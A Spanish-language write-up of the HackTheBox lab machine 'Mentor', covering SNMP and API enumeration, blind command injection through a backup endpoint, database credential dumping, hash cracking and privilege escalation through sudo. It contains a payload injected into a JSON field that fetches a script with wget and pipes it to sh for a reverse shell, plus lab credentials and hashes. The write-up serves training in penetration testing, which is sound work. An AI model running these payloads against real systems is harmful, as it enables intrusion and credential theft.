Informacion de la Maquina
Mentor expone el servicio snmp y una API la cual enumeramos, en esta ultima encontramos una vulnerabilidad de Command Injection la cual nos permitio acceder a un contenedor de docker. Una vez dentro, descubrimos credenciales en la base de datos postgres, con ello logramos acceder a un primer usuario por SSH. Accedimos a un segundo usuario con la configuracion del servicio snmp que, finalmente nos permitio escalar privilegios como root.
Recon
nmap
nmap muestra multiples puertos abiertos: http (80), ssh (22) y snmp (161 udp).
1# nmap -p$ports -sV -sC 10.10.11.193 -oN nmap_scan
2Nmap scan report for 10.10.11.193 (10.10.11.193)
3Host is up (0.083s latency).
4
5PORT STATE SERVICE VERSION
622/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
7| ssh-hostkey:
8| 256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
9|_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
1080/tcp open http Apache httpd 2.4.52
11|_http-title: Did not follow redirect to http://mentorquotes.htb/
12|_http-server-header: Apache/2.4.52 (Ubuntu)
13Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
14
15Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16
17# nmap -sU -p- --min-rate 10000 10.10.11.193
18Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 15:30 CST
19Warning: 10.10.11.193 giving up on port because retransmission cap hit (10).
20Nmap scan report for mentorquotes.htb (10.10.11.193)
21Host is up (0.15s latency).
22Not shown: 65455 open|filtered udp ports (no-response), 79 closed udp ports (port-unreach)
23PORT STATE SERVICE
24161/udp open snmp
25
26Nmap done: 1 IP address (1 host up) scanned in 73.58 secondssnmp
Ejecutamos sobre el puerto snmp el modulo auxiliar snmp_login de metasploit, con el objetivo de encontrar el ‘community’ de este servicio, utilizando un wordlist sugerido por este mismo modulo. Al finalizar la ejecucion se muestra que el community es internal.
1[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> show options
2
3Module options (auxiliary/scanner/snmp/snmp_login):
4
5 Name Current Setting Required Description
6 ---- --------------- -------- -----------
7 BLANK_PASSWORDS false no Try blank passwords for all users
8 BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
9 DB_ALL_CREDS false no Try each user/password couple stored in the current database
10 DB_ALL_PASS false no Add all passwords in the current database to the list
11 DB_ALL_USERS false no Add all users in the current database to the list
12 DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
13 PASSWORD no The password to test
14 PASS_FILE /usr/share/metasploit-framework/data/wordlists/snmp_default_p no File containing communities, one per line
15 ass.txt
16 RHOSTS 10.10.11.193 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
17 RPORT 161 yes The target port
18 STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
19 THREADS 1 yes The number of concurrent threads (max one per host)
20 USER_AS_PASS false no Try the username as the password for all users
21 VERBOSE true yes Whether to print output for all attempts
22 VERSION 2c yes The SNMP version to scan (Accepted: 1, 2c, all)
23
24[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>
25[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> run
26
27[!] No active DB -- Credential data will not be saved!
28[+] 10.10.11.193:161 - Login Successful: internal (Access level: read-only); Proof (sysDescr.0): Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
29[*] Scanned 1 of 1 hosts (100% complete)
30[*] Auxiliary module execution completed
31[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>Utilizamos snmp-check para enumerar la informacion del servicio.
- El nombre de las interfaces sugieren docker en ejecucion, asi mismo los procesos.
- Se muestra la ejecucion de uvicorn en ejecucion por el puerto 8000.
- Observamos la ejecucion de un script en python el cual tiene algun tipo de secret o contraseña como argumento.
1[.. snip ..]
2 2086 runnable postgres postgres: postgres mentorquotes_db 172.22.0.1(41216) idle
3 2111 runnable login.py /usr/bin/python3 /usr/local/bin/login.py kj23sadkj123as0-d213
4 2163 unknown kworker/1:1-cgroup_destroy
5 2304 unknown kworker/u256:0-flush-253:0
6[.. snip ..]Web Site
El sitio web redirige al dominio mentorquotes.htb.
1➜ mentor curl -sI 10.10.11.193
2HTTP/1.1 302 Found
3Date: Sun, 08 Jan 2023 20:48:00 GMT
4Server: Apache/2.4.52 (Ubuntu)
5Location: http://mentorquotes.htb/
6Content-Type: text/html; charset=iso-8859-1
7
8➜ mentorEl sitio muestra una lista de frases.

Directory Brute Forcing
feroxbuster no muestra alguna otra direccion o directorio del sitio.
1➜ mentor feroxbuster -w $MD -u http://mentorquotes.htb/ --depth 2
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.7.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://mentorquotes.htb/
9 🚀 Threads │ 50
10 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.7.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🏁 HTTP methods │ [GET]
16 🔃 Recursion Depth │ 2
17 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
18───────────────────────────┴──────────────────────
19 🏁 Press [ENTER] to use the Scan Management Menu™
20──────────────────────────────────────────────────
21200 GET 167l 621w 5506c http://mentorquotes.htb/
22403 GET 9l 28w 281c http://mentorquotes.htb/server-statusapi.mentorquotes.htb
Con la ejecucion de wfuzz descubrimos el subdominio api.
1➜ mentor wfuzz -c -w bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host: FUZZ.mentorquotes.htb" --hl 9 2>/dev/null
2********************************************************
3* Wfuzz 3.1.0 - The Web Fuzzer *
4********************************************************
5
6Target: http://mentorquotes.htb/
7Total requests: 100000
8
9=====================================================================
10ID Response Lines Word Chars Payload
11=====================================================================
12
13000000040: 404 0 L 2 W 22 Ch "api"
14000037212: 400 10 L 35 W 308 Ch "*"
15
16Total time: 976.1970
17Processed Requests: 100000
18Filtered Requests: 99998
19Requests/sec.: 102.4383feroxbuster muestra distintas direcciones del sitio.
1➜ mentor feroxbuster -u http://api.mentorquotes.htb/ -w raft-medium-directories.txt --depth 2
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.3.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://api.mentorquotes.htb/
9 🚀 Threads │ 50
10 📖 Wordlist │ raft-medium-directories.txt
11 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.3.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔃 Recursion Depth │ 2
16 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
17───────────────────────────┴──────────────────────
18 🏁 Press [ENTER] to use the Scan Cancel Menu™
19──────────────────────────────────────────────────
20307 0l 0w 0c http://api.mentorquotes.htb/admin
21200 31l 62w 969c http://api.mentorquotes.htb/docs
22405 1l 3w 31c http://api.mentorquotes.htb/admin/backup
23307 0l 0w 0c http://api.mentorquotes.htb/users
24307 0l 0w 0c http://api.mentorquotes.htb/quotes
25WLD 0l 0w 0c Got 307 for http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 (url length: 32)
26WLD - - - http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 redirects to => http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7/
27405 1l 3w 31c http://api.mentorquotes.htb/users/add
28403 9l 28w 285c http://api.mentorquotes.htb/server-statusAPI
La direccion /docs nos muestra la documentacion de la API. Ademas se muestra el usuario james como email.

Auth as James
Utilizando la informacion encontrada intentamos logearnos.

La respuesta es una cookie.

API
Utilizando la cookie enumeramos las rutas, vemos en /users/ dos usuarios.
1➜ mentor curl -sX GET http://api.mentorquotes.htb/users/ -H "Accept: application/json" -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0" | jq
2[
3 {
4 "id": 1,
5 "email": "james@mentorquotes.htb",
6 "username": "james"
7 },
8 {
9 "id": 2,
10 "email": "svc@mentorquotes.htb",
11 "username": "service_acc"
12 }
13]
14➜ mentor Observamos en la ruta /admin/, la ruta /check y /backup. En backup se muestra que el metodo no esta permitido.
1➜ mentor cookie="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
2➜ mentor curl -sX GET http://api.mentorquotes.htb/admin/ -H "Accept: application/json" -H "Authorization: $cookie" | jq
3{
4 "admin_funcs": {
5 "check db connection": "/check",
6 "backup the application": "/backup"
7 }
8}
9➜ mentor curl -sX GET http://api.mentorquotes.htb/admin/check -H "Accept: application/json" -H "Authorization: $cookie" | jq
10{
11 "details": "Not implemented yet!"
12}
13➜ mentor curl -sX GET http://api.mentorquotes.htb/admin/backup -H "Accept: application/json" -H "Authorization: $cookie" | jq
14{
15 "detail": "Method Not Allowed"
16}
17➜ mentor Al intentar con el metodo POST muestra que el parametro body es requerido, al enviarlo, muestra que es necesario el path.
1➜ mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" | jq
2{
3 "detail": [
4 {
5 "loc": [
6 "body"
7 ],
8 "msg": "field required",
9 "type": "value_error.missing"
10 }
11 ]
12}
13➜ mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616"}' | jq
14{
15 "detail": [
16 {
17 "loc": [
18 "body",
19 "path"
20 ],
21 "msg": "field required",
22 "type": "value_error.missing"
23 }
24 ]
25}
26➜ mentor root - Docker Container
Blind Command Injection
Al enviar los parametros requeridos muestra “Done”.
1➜ mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616", "path":"/etc/passwd"}' | jq
2{
3 "INFO": "Done!"
4}
5➜ mentor Intentamos realizar ‘bypass’ para ejecutar comandos, en este caso ejecutamos wget, se observa la solicitud realizada a nuestra maquina. Seguramente realiza algun tipo de backup a la direccion dada al archivo con nombre app_backkup.tar.

Shell
Ejecutamos shells y modificamos el valor de path para ejecutar una shell inversa.
1{
2 "body":"616",
3 "path":"/etc/passwd;$(wget -qO- 10.10.14.207/10.10.14.207:1335|sh)"
4}Tras realizar la solicitud logramos obtener acceso a la maquina como root. Anteriormente encontramos informacion sobre docker, seguramente obtuvimos acceso a un contenedor.
1➜ mentor rlwrap nc -lvp 1335
2listening on [any] 1335 ...
3connect to [10.10.14.207] from api.mentorquotes.htb [10.10.11.193] 43032
4/bin/sh: can't access tty; job control turned off
5/app # which python
6/usr/local/bin/python
7/app # python -c 'import pty;pty.spawn("/bin/bash");'
8Traceback (most recent call last):
9 File "<string>", line 1, in <module>
10 File "/usr/local/lib/python3.6/pty.py", line 156, in spawn
11 os.execlp(argv[0], *argv)
12 File "/usr/local/lib/python3.6/os.py", line 542, in execlp
13 execvp(file, args)
14 File "/usr/local/lib/python3.6/os.py", line 559, in execvp
15 _execvpe(file, args)
16 File "/usr/local/lib/python3.6/os.py", line 583, in _execvpe
17 exec_func(file, *argrest)
18FileNotFoundError: [Errno 2] No such file or directory
19/app # whoami;id;pwd
20root
21uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
22/app
23/app #Encontramos los archivos de la API, entre ellos de la base de datos.
1/app # ls -lah
2total 24K
3drwxr-xr-x 1 root root 4.0K Nov 10 16:00 .
4drwxr-xr-x 1 root root 4.0K Mar 3 23:29 ..
5-rw-r--r-- 1 root root 1.0K Jun 12 2022 .Dockerfile.swp
6-rw-r--r-- 1 root root 522 Nov 3 12:58 Dockerfile
7drwxr-xr-x 1 root root 4.0K Nov 10 16:00 app
8-rw-r--r-- 1 root root 672 Jun 4 2022 requirements.txt
9/app # cd app
10/app/app # ls -lah
11total 28K
12drwxr-xr-x 1 root root 4.0K Nov 10 16:00 .
13drwxr-xr-x 1 root root 4.0K Nov 10 16:00 ..
14-rw-r--r-- 1 root root 0 Jun 4 2022 __init__.py
15drwxr-xr-x 1 root root 4.0K Nov 10 16:00 __pycache__
16drwxr-xr-x 1 root root 4.0K Nov 10 16:00 api
17-rw-r--r-- 1 root root 0 Jun 4 2022 config.py
18-rw-r--r-- 1 root root 1001 Jun 7 2022 db.py
19-rw-r--r-- 1 root root 1.1K Jun 4 2022 main.py
20-rw-r--r-- 1 root root 704 Jun 4 2022 requirements.txt
21/app/app #
22/app/app # cat db.py
23import os
24
25from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
26from sqlalchemy.sql import func
27from databases import Database
28
29# Database url if none is passed the default one is used
30DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
31
32# SQLAlchemy for quotes
33engine = create_engine(DATABASE_URL)
34metadata = MetaData()
35quotes = Table(
36 "quotes",
37 metadata,
38 Column("id", Integer, primary_key=True),
39 Column("title", String(50)),
40 Column("description", String(50)),
41 Column("created_date", DateTime, default=func.now(), nullable=False)
42)
43
44# SQLAlchemy for users
45engine = create_engine(DATABASE_URL)
46metadata = MetaData()
47users = Table(
48 "users",
49 metadata,
50 Column("id", Integer, primary_key=True),
51 Column("email", String(50)),
52 Column("username", String(50)),
53 Column("password", String(128) ,nullable=False)
54)
55
56
57# Databases query builder
58database = Database(DATABASE_URL)
59
60/app/app #En admin.py se muestra una segunda direccion de base de datos donde vemos la direccion de backup por la cual obtuvimos acceso.
1/app/app/api # cat admin.py
2from fastapi import APIRouter, Depends
3from app.api.utils import is_admin, is_logged
4from app.api.models import backup
5import os
6
7router = APIRouter()
8
9WORK_DIR = os.getenv('WORK_DIR', '/app')
10DATABASE_URL = os.getenv('DATABASE_URL', 'postgresql://postgres:postgres@192.168.1.4/hello_fastapi_dev')
11
12@router.get('/', dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
13async def admin_funcs():
14 return {"admin_funcs":{"check db connection":"/check","backup the application": "/backup"}}
15
16@router.get('/check',dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
17async def check_connection():
18 return {"details": "Not implemented yet!"}
19
20
21# Take a backup of the application
22@router.post("/backup",dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
23async def backup(payload: backup):
24 os.system(f'tar -c -f {str(payload.path)}/app_backkup.tar {str(WORK_DIR)} &')
25 return {"INFO": "Done!"}
26
27/app/app/api #En users.py las rutas para obtener informacion de los usuarios.
1from app.api import crud
2from app.api.models import token, userDB, userSchema
3from app.api.utils import is_admin, is_logged, is_a_user
4from .utils import *
5from fastapi import APIRouter, HTTPException, Header, Path, FastAPI, Depends, Request
6from typing import List
7import os
8
9router = APIRouter()
10SECRET = os.getenv('SECRET')
11
12# List users
13@router.get('/',response_model=List[userDB], status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
14async def get_users(request: Request):
15
16 return await crud.get_users()
17
18# List user by id
19@router.get('/{id}/',response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
20async def get_user_by_id(request: Request,id: int = Path(...,gt=0)):
21 user = await crud.get_user(id)
22 if not user:
23 raise HTTPException(status_code=404, detail="user not found")
24 return user
25
26# Add a new user
27@router.post("/add", response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
28async def create_user(payload: userSchema):
29 user = await is_a_user(payload)
30 if user is None:
31 pass
32 else:
33 raise HTTPException(status_code=424, detail="User already exists! ")
34
35 user_id = await crud.create_user(payload)
36
37 res = {
38 "id" : user_id,
39 "email" : payload.email,
40 "username" : payload.username
41 }
42
43 return resEn el directorio del usuario svc encontramos nuestra flag user.txt.
1/app # cd /home
2/home # ls
3svc
4/home # cd svc
5/home/svc # ls
6user.txt
7/home/svc # cat user.txt
8d57c5e2b32aa7f2d0bf85dca62da4c53
9/home/svc #User - svc
Postgresql
En el contenedor de docker esta instalada la libreria de sqlalchemy, utilizamos esta junto a las credenciales postgres que encontramos anteriormente para ejecutar queries en la base de datos mentorquotes_db.
1# Queries
2python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("<QUERY>"); a = [i for i in result]; print(a);'
3
4# Tablas
5python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'
6
7# Columnas
8python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'Enumeramos las tablas, encontramos tres.
1/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'
22023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine select pg_catalog.version()
32023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine [raw sql] {}
42023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine select current_schema()
52023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine [raw sql] {}
62023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine show standard_conforming_strings
72023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine [raw sql] {}
82023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine SELECT c.relname FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = %(schema)s AND c.relkind in ('r', 'p')
92023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine [generated in 0.00017s] {'schema': 'public'}
10['users', 'quotes', 'cmd_exec']
11/app/app/api #Las columnas de la tabla users, las cuales son cuatro: id, email, username y password.
1/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'
22023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine select pg_catalog.version()
32023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine [raw sql] {}
42023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine select current_schema()
52023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine [raw sql] {}
62023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine show standard_conforming_strings
72023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine [raw sql] {}
8
9[.. snip ..]
10
11[{'name': 'id', 'type': INTEGER(), 'nullable': False, 'default': "nextval('users_id_seq'::regclass)", 'autoincrement': True, 'comment': None}, {'name': 'email', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'username', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'password', 'type': VARCHAR(length=128), 'nullable': False, 'default': None, 'autoincrement': False, 'comment': None}]
12/app/app/api #Obtuvimos los datos de la tabla users.
1/app/app/api # python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("select * from users;"); print(type(result)); a = [i for i in result]; print(a);'
22023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine select pg_catalog.version()
32023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine [raw sql] {}
42023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine select current_schema()
52023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine [raw sql] {}
62023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine show standard_conforming_strings
72023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine [raw sql] {}
82023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine select * from users;
92023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine [raw sql] {}
10<class 'sqlalchemy.engine.cursor.LegacyCursorResult'>
11[(1, 'james@mentorquotes.htb', 'james', '7ccdcd8c05b59add9c198d492b36a503'), (2, 'svc@mentorquotes.htb', 'service_acc', '53f22d0dfa10dce7e29cd31f4f953fd8')]
12/app/app/api #crackstation nos muestra unicamente el hash de service_acc.
17ccdcd8c05b59add9c198d492b36a503
253f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivaniShell
Utilizamos estas credenciales en el servicio SSH con el nombre de usuario svc. Logrando obtener acceso a la maquina.
1➜ mentor ssh svc@mentorquotes.htb # 123meunomeeivani
2svc@mentorquotes.htb's password:
3Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/advantage
8
9 System information as of Mon Jan 9 02:06:01 AM UTC 2023
10
11 System load: 0.0234375
12 Usage of /: 64.9% of 8.09GB
13 Memory usage: 15%
14 Swap usage: 0%
15 Processes: 259
16 Users logged in: 0
17 IPv4 address for br-028c7a43f929: 172.20.0.1
18 IPv4 address for br-24ddaa1f3b47: 172.19.0.1
19 IPv4 address for br-3d63c18e314d: 172.21.0.1
20 IPv4 address for br-7d5c72654da7: 172.22.0.1
21 IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
22 IPv4 address for docker0: 172.17.0.1
23 IPv4 address for eth0: 10.10.11.193
24
25 => There are 18 zombie processes.
26
27
280 updates can be applied immediately.
29
30
31The list of available updates is more than a week old.
32To check for new updates run: sudo apt update
33
34Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
35svc@mentor:~$ whoami;id;pwd
36svc
37uid=1001(svc) gid=1001(svc) groups=1001(svc)
38/home/svc
39svc@mentor:~$User - James
Enumerando los archivos de configuracion de snmp encontramos credenciales.
1svc@mentor:/etc/snmp$ ls
2snmp.conf snmpd.conf snmpd.conf.d
3svc@mentor:/etc/snmp$ cat snmpd.conf | grep -v "#"
4
5sysLocation Sitting on the Dock of the Bay
6sysContact Me <admin@mentorquotes.htb>
7
8sysServices 72
9
10
11
12
13
14master agentx
15
16
17agentAddress udp:161,udp6:[::1]:161
18
19
20
21
22view systemonly included .1.3.6.1.2.1.1
23view systemonly included .1.3.6.1.2.1.25.1
24
25
26
27rocommunity public default -V systemonly
28rocommunity6 public default -V systemonly
29
30rouser authPrivUser authpriv -V systemonly
31
32includeDir /etc/snmp/snmpd.conf.d
33
34
35createUser bootstrap MD5 SuperSecurePassword123__ DES
36rouser bootstrap priv
37
38com2sec AllUser default internal
39group AllGroup v2c AllUser
40view SystemView included .1.3.6.1.2.1.25.1.1
41view AllView included .1
42access AllGroup "" any noauth exact AllView none none
43svc@mentor:/etc/snmp$Utilizamos esta con el usuario james la cual funciono correctamente.
1svc@mentor:/etc/snmp$ su james
2Password:
3james@mentor:/etc/snmp$ cd
4james@mentor:~$ ls
5james@mentor:~$ whoami;id
6james
7uid=1000(james) gid=1000(james) groups=1000(james)
8james@mentor:~$Privesc
Tras ejecutar sudo -l -l observamos que el usuario james puede ejecutar sh como root.
1james@mentor:~$ sudo -l -l
2[sudo] password for james:
3Matching Defaults entries for james on mentor:
4 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User james may run the following commands on mentor:
7
8Sudoers entry:
9 RunAsUsers: ALL
10 Commands:
11 /bin/sh
12james@mentor:~$ sudo sh
13# whoami;id
14root
15uid=0(root) gid=0(root) groups=0(root)
16# cd
17# ls
18logins.log root.txt scripts snap
19# cat root.txt
20ed605945a5870ecc993bda7574b545b1
21#
